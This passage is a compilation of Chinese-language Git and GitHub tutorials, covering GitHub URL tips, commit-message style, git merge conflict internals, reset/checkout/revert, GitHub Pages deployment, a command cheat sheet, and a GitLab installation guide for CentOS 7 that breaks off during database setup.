你可以通过在对比页面URL中增加?author=github_handle来按作者过滤提交记录。例如：链接https://github.com/dynjs/dynjs/commits/master?author=jingweno显示jingweno对Dynjs 的提交记录：



.diff 和 .patch

在比较页面、合并请求页面或者评论页面的URL后增加.diff或者.patch，可以得到diff或者patch的文本格式。例如：链接https://github.com/rails/rails/compare/master@{1.day.ago}…master.patch显示Rails项目中全部昨天开始的提交记录和变化的文本格式：



邮件回复

你可以直接在收到的GitHub通知邮件进行评论，不必在网站页面中评论。GitHub会正确的处理你的评论：



链接行

在文件展示页面，点击某行或者通过按SHIFT选择多行，URL会有相应的改变。如果你要给你的队友分享一段代码是非常方便的：



关注用户

在合并请求、问题或者任何评论中中提到用户会使用户关注全部的后续通知：



自动链接

在合并请求、问题、或者任何评论中，sha和问题码(例如：#1)会被自动链接。并且，你也可以链接其它仓库的sha或者问题码，格式：user/repo@sha1或者user/repo#1。下面是一个评论中通过sha自动链接的例子：



hub

Hub 是 GitHub的命令行。它提供了Git和Github之间的集成。一个最有用的命令就是在命令行输入hub pull-request创建pull request。详见readme.

Git

git log -p FILE

查看README.md的修改历史，例如：

> git log -p README.md

git log -S’PATTERN’

例如，搜索修改符合stupid的历史：

> git log -S'stupid'

git add -p

交互式的保存和取消保存变化，使用：

> git add -p

git rm –cached FILE

这个命令只删除远程文件，例如：

> git rm --cached database.yml

删除database.yml被保存的记录，但是不影响本地文件。这对删除已经推送过的忽略文件记录而且不影响本地文件是非常的方便的。

git log ..BRANCH

这个命令返回某个非HEAD分支的提交记录。假如你在一个功能分支，输入：

> git log ..master

返回全部master分支的历史记录，包括未被合并到当前分支的提交记录。

git branch –merged & git branch –no-merged

这个命令返回已合并分支列表或未合并的分支列表。这个命令对合并前检查非常有用。例如，在一个功能分支，输入

> git branch --no-merged

返回未合并到该分支的分支列表。

git branch –contains SHA

返回包含某个指定sha的分支列表。例如：

> git branch --contains 2f8e2b

显示全部包含提交2f832b的分支。这个命令对于验证git cherry-pick完成非常有帮助。

git status -s

返回一个简单版的git status。我设置这个命令为默认git status来减少噪音。

git reflog

显示你在本地已完成的操作列表。

git shortlog -sn

显示提交记录的参与者列表。和GitHub的参与者列表相同。

Summary

Git是一个设计良好的工具。了解它可以直接让你更有效率并成为一个更有才华的程序员。GitHub，在另一个方面，在Git基础上提供便利的团队合作特性。有能力使用GitHub也会提高你日常效率。

为了更好的加深你对的Git和Github了解，我推荐一些资料：


	ProGit, 最好的Git指南


	Advanced Git


	Git and GitHub Secrets





 Git - 如何写好你的提交信息？

作者：limichange

来源： Git - 如何写好你的提交信息？



                    
前言


平时我们在提交的时候，肯定是会对自己所做的事情做一些或多或少的说明。但怎么写好就不是那么容易了。于是就跑到github上看看人家是怎么写的，或者Google下，看看有没有什么好的实践经验。特此做了总结，希望能抛砖引玉。


坏栗子


我们从坏栗子开讲，这样就有的对比了，也好对号入座。正如这个命令，10个人有9个绝对写过。


git commit -m "Fix login bug"



我们还会这么写。


git commit -am "Fix login bug"



也会这样。


git commit -am "Fix bug!"



很明显，你是在说这个提交是在修改一个登录的BUG，因为没有拼写错误所以我能大概看明白。但我要是管理员我就难过了，会有一大堆的问题席卷而来。心理会想大哥，你修得这个BUG是哪个？哪个登录的？什么样的？怎么改的？。~~然后你后脊梁骨发凉，因为有人在骂街。~~


你也可以这么想，管理员可以耐着性子把我的修改看完，这样就不就行了？不好意思，这样的话管理员会疯的，所以不可以这么做。


提倡的做法


粒度


说的是做的修改的粒度。如果你一天做了很多的修改，但是就只提交了一次，那么你的粒度就有点大了。这样在你描述你的行为的时候就会显得模糊，如果你详细描述的话，提交信息会变得长篇大论。但也不要做一点提交一点，这样粒度就会变得太小，会导致一天到晚在写提交信息，没有必要。


在我看来，这个事情真的只能凭感觉提交，用经验来做判断。因为一个BUG可能可大可小，大的话，你就得分割修复。如果小，那么就一次提交修复就可。


粒度的掌握绝对会影响你的提交信息，因为二者是一一对应的。


段落


还记得上学的时候，写英语作文的三段法吗？和那个差不多，开头阐明观点，中间论述观点，最后总结。

这里我们把提交信息也分为三段，具体如下。


refactor($browser): remove private polling mechanism

The only feature of Angular using this mechanism was `$cookies`,
which no longer mirrors the browser cookie values and so does not
need to poll.

Closes #11222



感觉如何？该有的有，该没得没。做了什么？为什么这么做？影响了什么？可以说是一目了然。


现在我们来说说为什么这样做好。


开头


首先，开头部分单起一行，这在git中就会做为默认显示的部分，在你查看提交信息的时候就会显示这行，其他的部分则在进一步查看的时候才会显示。


你可以指定模块，或者说明动作（Add - Update - Delete）。


中间


其次，在中间的部分就是你的详细说明，这个时候就要你做一个全面的说明了。说说你大概搞了什么东西，是怎么搞的。


最后


最后的这句话有妙用，他会根据你提到的issue编号自动地关闭你的issue。当然这个和你使用的git服务端有关系，在gitlab中会用Fix来进行关闭。实现了一定的自动化，然后你的团队的成员就会受到通知，多么美好。


实际运用


三段式在通常情况下是标配，当然也有例外。在没有相关issue的时候，最后部分可以省略掉。在标题解释了所有的事情的时候，中间的部分可以省略，如你重命名了一个文件，或者是删除了一个文件的时候。所以说只写一个标题也是可以的，前提是够准确。


像是这样


Rename cropper.css -> cropper.scsss



或是


Add calendar setting file



宽度


是的，是宽度，不是长度。和代码一样，如果你平时注意的话，就不要让你的代码在一行上超过80，不然谁读代码都不好受，包括你自己。所以提交信息的宽度也有限制。


分别是标题不要超过50，内容部分不要超过70。你可能会想，写的时候还要查字数好难过。其实稍微配置一下就可以了，具体操作会在后面说道。


统一


只要统一了格式，那么团队的各位都会明白你要表达的意思，所以你完全可以撇开上面的建议自己另起一套。


规范提交信息的格式的目的就是能快速准确的表达信息，只要达到了这个目的就可以。习惯而已。


小技巧


配置提交信息的宽度


我随时可能忘记宽度的限制，所以要做一个设置，这样就能自动的对提交信息做格式化了。对于这样的设置要取决于你的git默认选择的编辑器是什么，一般都是vim什么的。


在 ~/.vimrc 里加上下面的命令，然后就会有神奇的事情发生了。


例如我用webstorm就集成了这个功能，我也就没有太折腾。


autocmd Filetype gitcommit setlocal spell textwidth=72



不要使用 -m 或者 --message 做提交


这个命令让你能够在一次操作中就把信息提交了。看起来很好，但事实上就是这个命令让大家懒惰了。真正好的提交信息真的很难用用一句话说好，你不是在给一行代码做注释，你是在给一连串的改变做出解释。做了什么？为什么这么做？影响了什么？至少得把这三个问题给回答了。当你认知在编辑器里写提交信息的时候，你会想起很多事，经验之谈。


好栗子


其实大家也是满随意的，但又很统一。


Jquery


shellCSS: Restore the hack to get pixels for .css('width') etc.

This hack turns out to be needed by Android 4.0-4.3.

Add a support test so that the hack is invoked only where needed.

Refs gh-1815
Refs gh-1820
Closes gh-1842



angular


fix(filterFilter): Fix filtering using an object expression when the …
…filter value is undefined

Fixes #10419
Closes #10424



backbone


Merge pull request #3443 from jridgewell/history-root

History's root



react


Sync out another jsx transform test.

We added this test internally and it never got added here. We haven't broken it
with any transforms *yet* but it's still good to actually run all of our tests
here too.



结语


不一定要把上面提到的所有的要求都强制的推给团队的所有人，要因地制宜，但一定要规范。正如代码的注释，合适就好。但这个合适要让人明白和清楚，没有额外的废话。



  没有最好的，只有合适的。




望大家看完可以做点评。


相关



	http://git-scm.com/book/en/v2/Distributed-Git-Contributing-to-a-Project#Commit-Guidelines

	https://wiki.duraspace.org/display/FCREPO/Git+Guidelines+and+Best+Practices

	https://wiki.gnome.org/Git/CommitMessages

	https://robots.thoughtbot.com/5-useful-tips-for-a-better-commit-message

	https://wiki.openstack.org/wiki/GitCommitMessages

	http://www.slideshare.net/TarinGamberini/commit-messages-goodpractices

	http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html

	https://github.com/thoughtbot/guides/tree/master/code-review




 git merge是怎样判定冲突的？

作者：spacewander

来源： git merge是怎样判定冲突的？



                    
在解决git merge的冲突时，有时我总忍不住吐槽git实在太不智能了，明明仅仅是往代码里面插入几行，没想到合并就失败了，只能手工去一个个确认。真不知道git的合并冲突是怎么判定的。

在一次解决了涉及几十个文件的合并冲突后（整整花了我一个晚上和一个早上的时间！），我终于下定决心，去看一下git merge代码里面冲突判定的具体实现。正所谓冤有头债有主，至少下次遇到同样的问题时就可以知道自己栽在谁的手里了。于是就有了这样一篇文章，讲讲git merge内部的冲突判定机制。

recursive three-way merge和ancestor

git的源码
先用merge作关键字搜索，看看涉及的相关代码。
找了一段时间，找到了git merge的时候，比较待合并文件的函数入口：ll_merge。另外还有一份文档，它也指出ll_merge正是合并实现的入口。

从函数签名可以看到，mmfile_t应该就代表了待合并的文件。有趣的是，这里待合并的文件并不是两份，而是三份。

int ll_merge(mmbuffer_t *result_buf,
         const char *path,
         mmfile_t *ancestor, const char *ancestor_label,
         mmfile_t *ours, const char *our_label,
         mmfile_t *theirs, const char *their_label,
         const struct ll_merge_options *opts)

看过git help merge的读者应该知道，ours表示当前分支，theirs表示待合并分支。看得出来，这个函数就是把某个文件在不同分支上的版本合并在一起。那么ancestor又是位于哪个分支呢？倒过来从调用方开始阅读代码，可以看出大体的流程是这样的，git merge会找出三个commit，然后对每个待合并的文件调用ll_merge，生成最终的合并结果。按注释的说法，ancestor是后面两个commit（ours和theirs）的公共祖先（ancestor）。另外前面提到的文档也说明，git合并的时候使用的是recursive three-way merge。



关于recursive three-way merge， wikipedia上有个相关的介绍#Recursive_three-way_merge)。就是在合并的时候，将ours，theirs和ancestor三个版本的文件进行比较，获取ours和ancestor的diff，以及theirs和ancestor的diff，这样做能够发现两个不同的分支到底做了哪些改动。毕竟后面git需要判定冲突的内容，如果没有原初版本的信息，只是简单地比较两个文件，是做不到的。

鉴于我的目标是发掘git判定冲突的机制，所以没有去看git里面查找ancestor的实现。不过只需肉眼在图形化界面里瞅上一眼，就可以找到ancestor commit。（比如在gitlab的network界面中，回溯两个分支的commit线，一直到岔路口）

有一点需要注意的是，revert一个commit不会改变它的ancestor。所谓的revert，只是在当前commit的上面添加了新的undo commit，并没有改变“岔路口”的位置。不要想当然地认为，revert之后ancestor就变成上一个commit的ancestor了。尤其是在revert merge commit的时候，总是容易忘掉这个事实。假如你revert了一个merge commit，在重新merge的时候，git所参照的ancestor将不是merge之前的ancestor，而是revert之后的ancestor。于是就掉到坑里去了。建议所有读者都看一下git官方对于revert merge commit潜在后果的说法：https://github.com/git/git/blob/master/Documentation/howto/revert-a-faulty-merge.txt 
结论是，如果一个merge commit引入的bug容易修复，请不要轻易revert一个merge commit。

剖析xdiff

从ll_merge往下追，可以看到后面出了一条旁路：ll_binary_merge。这个函数专门处理bin类型文件的合并。它的实现简单粗暴，如果你没有指定合并策略（theris或ours），直接报Cannot merge binary files错误。看来在git看来，二进制文件并没有diff的价值。

主路径从ll_xdl_merge到xdl_merge，进到一个叫xdiff的库中。终于找到git merge的具体实现了。

平心而论，xdiff的代码风格十分糟糕，不仅注释太少，而且结构体成员变量居然使用类似i1、i2这样的命名，看得我头昏脑胀、心烦意燥。

吐槽结束，先讲下xdl_merge的流程。xdl_merge做了下面四件事：


	由xdl_do_diff完成two-way diff（ours和ancestor，theirs和ancestor）,生成修改记录，存储到xdfenv_t中。


	xdl_change_compact压缩相邻的修改记录，再用xdl_build_script建立xdchange_t链表，记录双方修改。xdchange_t主要包括了修改的起始行号和修改范围。


	这时候分三种情况，其中两种是只有一方有修改（只有ours或theirs一条链表），直接退出。最后一种是双方都有修改，需要合并修改记录。由于修改记录是按行号有序排列的，所以直接合并两个链表。修改记录如果没有重叠部分，按先后顺序标记为我方修改/他方修改。如果发生了重叠，就表示发生了冲突。之后会重新过一遍两个待合并链表，对于那些标记为冲突的部分，比较它们是否相等的，如果是，标记为双方修改。


	由xdl_fill_merge_buffer输出合并结果。如果有冲突，调用fill_conflict_hunk输出冲突情况。如果没有冲突（标记为我方修改/他方修改/双方修改），则合并ancestor的原内容和修改记录，按标记的类型取修改后的内容，并输出。




输出冲突情况的代码位于fill_conflict_hunk中。它的实现很简单，毕竟此时我们已经有了双方修改的内容，现在只需要同时输出冲突内容，供用户取舍。（这便是那次花了一个晚上和一个早上改掉的冲突的源头，凶手就是你，哼）。

输出格式恐怕大家都很熟悉。该函数会先打印若干个<，个数由DEFAULT_CONFLICT_MARKER_SIZE决定，也即是7个。然后是ours分支名。接着输出我方的修改，然后输出若干个=。最后是他方的修改，以及若干个>。这个就是折磨人的合并冲突了：

<<<<<<< HEAD
3
=======
2
>>>>>>> branch1

总结

git merge的冲突判定机制如下：先寻找两个commit的公共祖先，比较同一个文件分别在ours和theirs下对于公共祖先的差异，然后合并这两组差异。如果双方同时修改了一处地方且修改内容不同，就判定为合并冲突，依次输出双方修改的内容。


 git reset, git checkout, git revert 区别 (译)

作者：十四

来源： git reset, git checkout, git revert 区别 (译)



                    
博客原文地址: http://blog.mexiqq.com/index.php/archives/3/



题记：团队中大多数成员使用 sourceTree 和 github 两款 git 工具，然而大家对于图形化工具提供的 reset,checkout,revert 功能点并不是很了解，甚至于混淆,然后凭借猜测去使用。功夫不负有心人，在尝试过多次冲突处理或分支开发的坑后，终于形成了自己的一套使用方式，可喜可贺。然而问题的解决方案的并不是效率最高的，内部的执行过程我们也不清楚，这对于一个自律的程序艺术家是无法接受的。基于这个问题，翻译这篇博客，为 git 中高级用户的 undo 操作提供参考。鼓励在熟悉命令行操作再通过图形化工具提高开发效率。水平有限，释疑为主，翻译为辅

Reset  Checkout  and Revert



原文地址：https://www.atlassian.com/git/tutorials/resetting-checking-out-and-reverting



git reset, git checkout, git revert  命令是最有用的三条 git 命令。他们可以帮助你撤销 repo 的一些操作，并且前两条命令既可以用于 commit 级别，也可以用于 file 级别。

因为他们很相似，所以很容易混淆。这片文章，我们将比较他们的相同和不同之处。

阅读本文前需要了解 git  repo  的三大 components，分别是 working directory(代码仓库)  staged snapshot(快照:add的缓存库)  commit history(commit历史) ，这将更好的帮助你理解这三条命令。



commit 级别的操作

传递给 git reset 和  git checkout的参数会决定命令的作用范围。当命令并不包括含一个文件路径时，命令作用于整个 commit。

Reset:

在 commit 级别上，git reset 命令移动 HEAD 到当前分支的一个 commit， 这可以用来撤销当前分支的一些 commit 。 

例如，下面的命令会让 ｀hotfix｀ 分支回退两个 commits

git checkout hotfix



git reset HEAD~2

先前在 HEAD 之前的两次 commit 现在处在 HEAD 之后，这意味着他们在下一次 git 提交时被作为垃圾删掉，换句话说这两次提交会被抛弃。如下图所示：



git reset用于撤销未被提交到远端的改动。除了可以移动当前分支的HEAD，你可以通过不同的标记选择修改 staged snapshot 或者 working directory


	--soft： staged snapshot 和 working directory 都未被改变 (建议在命令行执行后，再输入 git status 查看状态)


	--mixed： staged snapshot 被更新， working directory 未被更改。【这是默认选项】（建议同上)


	--hard：  staged snapshot 和 working directory  都将回退。




--hard 很危险，它会直接回退你之前所有的修改，使用前，可以事先保存 commit id.





【这些标记经常和HEAD一起使用。例如，git reset --mixed HEAD可撤销所有缓存改动，但是保留他们在工作目录下。git reset --hard HEAD可彻底删除没有提交的改动。】

checkout

到现在为止，你应该已经熟悉 commit 级别的 git checkout 了。当你传送一个 branch name 名字时,你将更换当前的分支.

git checkout hotfix



上面的命令会切换 HEAD 到不同的分支，并且更新当前的 working directory 去匹配。因为会覆盖当前的本地更改，所以更换分支前git强制你彻底放弃或者提交存储当前的更改。不同于 git reset, git checkout 不会废弃任何分支或提交。



你也可以 checkout 到任何一次 commit，通过提供 commit Id 作为参数. 

比如下面的命令。

git checkout HEAD~2/[commit id]





这对于 review repo 的某个 version 的代码很有用。然而，如果再次添加新的提交就无法返回原先的状态。因此，你应该在修改前总是创建一个新的分支。

Revert

git revert 命令通过创建一次新的 commit 来撤销一次 commit 所做出的修改。这种撤销的方式是安全的，因为它并不修改 commitm history, 比如下边的命令将会查出倒数第二次（即当前commit的往前一次）提交的修改，并创建一个新的提交，用于撤销当前提交的上一次 commit。

git checkout hotfix



git revert HEAD~2

如下图所示：



File 级别的操作

git reset 和 git checkout 命令同样可以接受一个可选的文件路径作为参数,这样可以将操作限制在一个单独的文件中。

Reset:

当调用一个文件路径时，git reset 命令会更新 staged snapshot 去匹配某次 commit。 下面的命令将会使文件回退一个 commit。

git reset  HEAD~1 ［文件］（不建议使用）





【--soft、--mixed、--hard标记此时不起作用，会更新staged snapshot，但不更新working directory】

Checkout

git checkout 命令 和  git reset  类似，除了它会更新 working directory, 而不是 staged snapshot 

如下命令将会更新 working directory 去匹配某次 commit

git checkout HEAD~1 [文件]


Summary:



	commands
	scope
	common user cases





	git reset
	Commit
	Discard commits in a private branch or throw away uncommited changes



	git reset
	File
	Unstage a file



	git checkot
	Commit
	switch between branches or inspect old snapshot



	git checkout
	File
	Discard changes in  the  working directory



	git revert
	commit
	Undo commits in a public branch



	git revert
	File
	不支持






 用 GitHub 来部署静态网页 ꒰･◡･๑꒱

作者：qianjiahao

来源： 用 GitHub 来部署静态网页 ꒰･◡･๑꒱



                    
在尝试过用 GitHub 部署静态 HTML 网页后，觉得其实挺容易的，这里简单说说如何用 GitHub 来完成部署。


1.新建版本库


首先咱们新建了一个版本库作为 demo，然后点击"settings"






2.Automatic page generator



我们选择 "GitHub Pages" 的 "Automatic page generator"






3.自由配置信息





4.Continue to layouts



这里的google分析可以不填，咱们先把页面跑起来，点击"Continue to layouts"






5.选择模板


这里github给你提供了一些模板，我选了第一个模板，点击"Publish page"






6.注意分支


发布成功，这里是咱们的"gh-pages分支"






7.访问页面


点击"settings"，访问刚刚发布的静态页面链接






8.查看部署结果





9.自定义你的页面


我们修改它的模板 "index.html"

<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title>html5</title>
    <style type="text/css">
    .theme{
      display: block;
      width: 200px;
      font-size: 30px;
      margin: 100px auto;
    }
    </style>
</head>
<body>
<div class="theme">
  Hello, world.
</div>

</body>
</html>



10.add -> commit -> push



这里要注意一下，我是直接新建的库，然后发布的，所以，没有master分支，只有gh-pages分支，github只会将你的gh-pages分支部署上去，不会动你的其他分支的东西。所以，我们要将改动提交到gh-pages分支上，再push。


qianjiahaodeMacBook-Pro:HowToDeployHTML qianjiahao$ git branch
* gh-pages

qianjiahaodeMacBook-Pro:HowToDeployHTML qianjiahao$ git commit -a -m "first commit"
[gh-pages cc8c864] first commit
 1 file changed, 23 insertions(+), 65 deletions(-)
 rewrite index.html (98%)

qianjiahaodeMacBook-Pro:HowToDeployHTML qianjiahao$ git push origin gh-pages
Counting objects: 3, done.
Delta compression using up to 4 threads.
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 523 bytes | 0 bytes/s, done.
Total 3 (delta 0), reused 0 (delta 0)
To git@github.com:qianjiahao/HowToDeployHTML.git
   3d6ebe7..cc8c864  gh-pages -> gh-pages



11.确认结果


提交成功，我们看看咱们的网页，熟悉的 `Hello,world`






12.demo



  到此为止，差不多讲完了，这个是demo的地址




13.默认目录



  它帮我们生成的目录结构其实不太好，咱们可以自己定义自己的目录结构，之前的一个项目目录结构是这样的







14.要注意的是：



  它会认准你的index.html页面，当做初始界面，我试过将它的index.html放入我的目录结构中，后来我部署发布后，github又自动给我生成了一个index.html页面，这个问题当时没有发现，导致出现了更新无效等奇葩的情况，疑惑了半天。还有params.json会配置github给你生成的模板信息。




15.修改默认目录



  如果是将已有的（静态）项目部署上线，建议自己修改目录结构




改改更健康"꒰･◡･๑꒱"



16.google analytics




  github推荐使用google analytics，在登录之后点击管理的跟踪信息，会看到它给你提供的id和code，把code粘贴到你的代码里，就可以了







17.分析和统计



  google analytics会帮你自动的做分析和统计







完~


 Git 命令使用心得

作者：在河之洲

来源： Git 命令使用心得



                    
最近学习了一下git命令来操作一下库，发现git命令虽然不多（当然也不算少），但是它们组合起来功能很强大，更重要的是很多命令在不同的状态下发挥的效果不一样，本博文总结了一下git命令，并详细说明了一些命令的使用场景。


命令小结




	命令
  	功能





	git init
  	把当前文件夹初始化为默认的git库



	git add 文件名
  	向git库中添加一个文件



	git rm 文件名
  	从git库中删除一个文件



	git status
  	查看当前库中进行的任务



	git diff 文件名
  	add前查看工作区和暂存区的差别



	git commit -m "修改内容"
  	把修改内容提交上去，用于区别版本



	git checkout -- 文件名
  	在add之前把文件恢复到上次交付，在commit之前恢复到暂存区的状态



	git log [--pretty=oneline]
  	显示这个库里都干过啥



	git relog
  	查看命令历史，以便确定要回到未来的哪个版本



	git reset HEAD 文件名
  	可以把暂存区的修改撤销掉



	git reset --hard HEAD^
  	回退到上一个版本



	git reset --hard 版本号
  	回退到某个版本





注意如果一个库里的很多文件是合用一个版本号的，也就是说变更版本号后，对应的所有的文件都会回退;


基本命令


git 建立库，我们是在工作区中修改文件的,工作区可以有很多文件；

git add 可以把工作区（working tree）下修改的文件或添加的文件添加到暂时存储的区域(index file)；

git commit 做的事情是把index file中修改提交到分支里，默认的分区是master；


git diff


diff 就是difference的意思，查看不同，根据工作区（working tree）、缓存区（index file）和版本区(master)的不同，药效不一样哦 -_-!



	git diff 文件名：是查看working tree与index file  的差别的。也就是说修改之后add之前可以用这个看改了什么;

	git diff -- cached：是查看index file与master的差别的。add之后，如果你忘记所有文件做的修改是什么，用这个;

	git diff HEAD 文件名：是查看working tree和master的差别的。add之后，可以用这个看具体每个文件改了什么;      



举个栗子


在工作区新建一个文件hello.cpp


cpp#include<iostream>
using namespace std;
int main()
{
        cout<<"快使用"<<endl;
        return 0;
}



然后添加到版本库里面


git$ git add hello.cpp 
$ git commit -m "新建hello.cpp"
[master 86a0afb] 新建hello.cpp
 1 file changed, 7 insertions(+)
 create mode 100644 hello.cpp
$ git status
位于分支 master
无文件要提交，干净的工作区




然后修改hello.cpp文件


cpp#include<iostream>
using namespace std;
int main()
{
        cout<<"快使用双截棍"<<endl;
        return 0;
}



添加到暂存区里


git$ git add hello.cpp 
$ git status
位于分支 master
要提交的变更：
  （使用 "git reset HEAD <file>..." 撤出暂存区）

    修改：     hello.cpp




再修改hello.cpp文件


cpp#include<iostream>
using namespace std;
int main()
{
        cout<<"快使用双截棍，嗯哪咋地"<<endl;
        return 0;
}



这时候工作区、暂存区、版本区的文件都不一样啦


git$ git status
位于分支 master
要提交的变更：
  （使用 "git reset HEAD <file>..." 撤出暂存区）

    修改：     hello.cpp

尚未暂存以备提交的变更：
  （使用 "git add <file>..." 更新要提交的内容）
  （使用 "git checkout -- <file>..." 丢弃工作区的改动）

    修改：     hello.cpp




使用git diff命令来一一查看哈


git$ git diff hello.cpp
diff --git a/hello.cpp b/hello.cpp
index 4cbc284..32531fa 100644
--- a/hello.cpp
+++ b/hello.cpp
@@ -2,6 +2,6 @@
 using namespace std;
 int main()
 {
-       cout<<"快使用双截棍"<<endl;
+       cout<<"快使用双截棍,嗯哪咋地"<<endl;
        return 0;
 }




上面第10行是暂存区中的内容，而第11行是工作区中的内容，说明git diff 文件名 比较的是暂存区与工作区的内容。其实这里如果用git diff -- 文件名也能达到相同的效果，关于 -- 的用法会在后面相信讨论。


git$ git diff --cached
diff --git a/hello.cpp b/hello.cpp
index 4cadd9e..4cbc284 100644
--- a/hello.cpp
+++ b/hello.cpp
@@ -2,6 +2,6 @@
 using namespace std;
 int main()
 {
-       cout<<"快使用"<<endl;
+       cout<<"快使用双截棍"<<endl;
        return 0;
 }




第10行是版本库的内容，第11行是暂存区中的内容，说明git diff --cached比较的是版本库与暂存区的内容


git$ git diff HEAD hello.cpp
diff --git a/hello.cpp b/hello.cpp
index 4cadd9e..32531fa 100644
--- a/hello.cpp
+++ b/hello.cpp
@@ -2,6 +2,6 @@
 using namespace std;
 int main()
 {
-       cout<<"快使用"<<endl;
+       cout<<"快使用双截棍,嗯哪咋地"<<endl;
        return 0;
 }




比较的是版本库与工作区的内容;


git checkout -- 文件名


case 1. git checkout -- 文件名,在修改文件后add到暂存区之前用版本区的文件替换工作区的


case 2. 在add到缓存区后，commit到版本区之前，再一次修改文件，就用暂存区中的文件覆盖工作区


git$ git checkout -- hello.cpp
$ cat hello.cpp
#include<iostream>
using namespace std;
int main()
{
    cout<<"快使用双截棍"<<endl;
    return 0;
}
dragon@dragon-virtual-machine:~/code/learngit$ 




case 3.在add到缓存区后，commit到版本区之前，再一次修改文件，如果想用版本区的文件覆盖可以有两种做法：


方法一：


git$ git checkout HEAD hello.cpp
$ cat hello.cpp
#include<iostream>
using namespace std;
int main()
{
    cout<<"快使用"<<endl;
    return 0;
}
$ git status
位于分支 master
无文件要提交，干净的工作区




HEAD是当前版本库的意思，这种做法顺便将暂存区清空了


方法二：


git$ git reset HEAD 
重置后撤出暂存区的变更：
M   hello.cpp
$ git checkout -- hello.cpp
$ cat hello.cpp 
#include<iostream>
using namespace std;
int main()
{
    cout<<"快使用"<<endl;
    return 0;
}





先清空暂存区，然后再使用git checkout -- 文件名，用版本去来替换工作区，相当于case 1.；


git的删除与恢复操作


在工作区，我们可以直接rm命令手动删除一个文件，但是这样在版本库里面并没有变化。所以我们如果想在版本库里面删除这个文件。可以不用手动删除，直接用git rm 文件名

然后git commit -m " 删除。。。"来提交到版本库；但是如果出现勿删还是可以恢复的


case 1.手动删除没有提交到暂存区，使用git checkout -- 文件名，用版本区文件覆盖工作区


case 2.使用git rm删除.还没有提交


git
$ ls
hehe  hello.cpp  readme.txt
$ git rm hello.cpp 
rm 'hello.cpp'
$ ls
hehe  readme.txt
t$ git status
位于分支 master
要提交的变更：
  （使用 "git reset HEAD <file>..." 撤出暂存区）

    删除：     hello.cpp

$ git checkout HEAD hello.cpp
$ ls
hehe  hello.cpp  readme.txt
$ git status
位于分支 master
无文件要提交，干净的工作区



当然也可以使用git checkout 的第二种方法


case 3. 提交删除，可以使用版本回退的方法来恢复文件，键上面git命令表格里的git reset


 CentOS 7 安装 Gitlab

作者：pantao

来源： CentOS 7 安装 Gitlab



                    
安装基本系统与依赖包


安装 Gitlab 依赖的工具


bashyum -y update
yum -y groupinstall 'Development Tools'
yum -y install readline readline-devel ncurses-devel gdbm-devel glibc-devel tcl-devel openssl-devel curl-devel expat-devel db4-devel byacc sqlite-devel libyaml libyaml-devel libffi libffi-devel libxml2 libxml2-devel libxslt libxslt-devel libicu libicu-devel system-config-firewall-tui git redis ruby sudo wget crontabs logwatch logrotate perl-Time-HiRes



安装 Redis


访问 http://www.redis.io/download，下载 Redis 源代码。


bashwget http://download.redis.io/releases/redis-3.0.0.tar.gz
tar zxvf redis-3.0.0.tar.gz
cd redis-3.0.0
make




  若在编译过程中出错，则可以执行下面的命令：


bashsudo make test





安装：


bashsudo make install
sudo ./utils/install_server.sh



配置


创建 /etc/init.d/redis 并使用下面的代码作为启动脚本。


添加如下内容：


bash###########################
PATH=/usr/local/bin:/sbin:/usr/bin:/bin

REDISPORT=6379
EXEC=/usr/local/bin/redis-server
REDIS_CLI=/usr/local/bin/redis-cli

PIDFILE=/var/run/redis.pid
CONF="/etc/redis/6379.conf"

case "$1" in
    start)
        if [ -f $PIDFILE ]
        then
                echo "$PIDFILE exists, process is already running or crashed"
        else
                echo "Starting Redis server..."
                $EXEC $CONF
        fi
        if [ "$?"="0" ]
        then
              echo "Redis is running..."
        fi
        ;;
    stop)
        if [ ! -f $PIDFILE ]
        then
                echo "$PIDFILE does not exist, process is not running"
        else
                PID=$(cat $PIDFILE)
                echo "Stopping ..."
                $REDIS_CLI -p $REDISPORT SHUTDOWN
                while [ -x ${PIDFILE} ]
               do
                    echo "Waiting for Redis to shutdown ..."
                    sleep 1
                done
                echo "Redis stopped"
        fi
        ;;
   restart|force-reload)
        ${0} stop
        ${0} start
        ;;
  *)
    echo "Usage: /etc/init.d/redis {start|stop|restart|force-reload}" >&2
        exit 1
esac
##############################



保存后，添加可执行权限：


sudo chmod +x /etc/init.d/redis



确保 redis 能随系统启动：


vi /etc/rc.d/rc.local



在文件末尾添加下面这行：


service redis start



然后使用上面同样的命令启动 redis 服务：


service redis start



安装邮件服务器


yum -y install postfix



安装Git


先删除系统中原有的老版本 git：


bashyum -y remove git
yum install zlib-devel perl-CPAN gettext curl-devel expat-devel gettext-devel openssl-devel



从官方网站下载源代码进行：


bashcurl --progress https://www.kernel.org/pub/software/scm/git/git-2.4.0.tar.gz | tar xz
cd git-2.4.0/
./configure
make
make prefix=/usr/local install



然后使用下面这个命令检测安装是否有效：


which git



安装 ruby


如果 ruby 的版本低于 2.0 的话，则需要重新安装 ruby。


bashcd ~
curl --progress ftp://ftp.ruby-lang.org/pub/ruby/2.2/ruby-2.2.2.tar.gz | tar xz
cd ruby-2.2.2
./configure --disable-install-rdoc
make
make prefix=/usr/local install



为 Gitlab 添加系统用户


adduser --system --shell /bin/bash --comment 'GitLab' --create-home --home-dir /home/git/ git



为了包含/usr/local/bin到git用户的$PATH，一个方法是编辑超级用户文件。以管理员身份运行：


visudo



然后搜索：


Defaults    secure_path = /sbin:/bin:/usr/sbin:/usr/bin



将其改成：


Defaults    secure_path = /sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin



安装数据库


MySQL 已经不再包含在 CentOS 7 的源中，而改用了 MariaDB，先搜索 MariaDB 现有的包：


rpm -qa | grep mariadb



然后全部删除：


rpm -e --nodeps mariadb-*



然后创建 /etc/yum.repos.d/MariaDB.repo：


vi /etc/yum.repos.d/MariaDB.repo



将以下内容添加至该文件中：


# MariaDB 10.0 CentOS repository list - created 2015-05-04 19:16 UTC
# http://mariadb.org/mariadb/repositories/
[mariadb]
name = MariaDB
baseurl = http://yum.mariadb.org/10.0/centos7-amd64
gpgkey=https://yum.mariadb.org/RPM-GPG-KEY-MariaDB
gpgcheck=1



然后运行下面命令安装 MariaDB 10.0：


sudo yum install MariaDB-server MariaDB-client



然后启动 MariaDB 服务：


service mysql start



接着运行 mysql_secure_installation：


mysql_secure_installation



登录 MariaDB 并创建相应的数据库用户与数据库：


mysql -uroot -p
CREATE USER 'git'@'localhost' IDENTIFIED BY '$password';
SET storage_engine=INNODB;
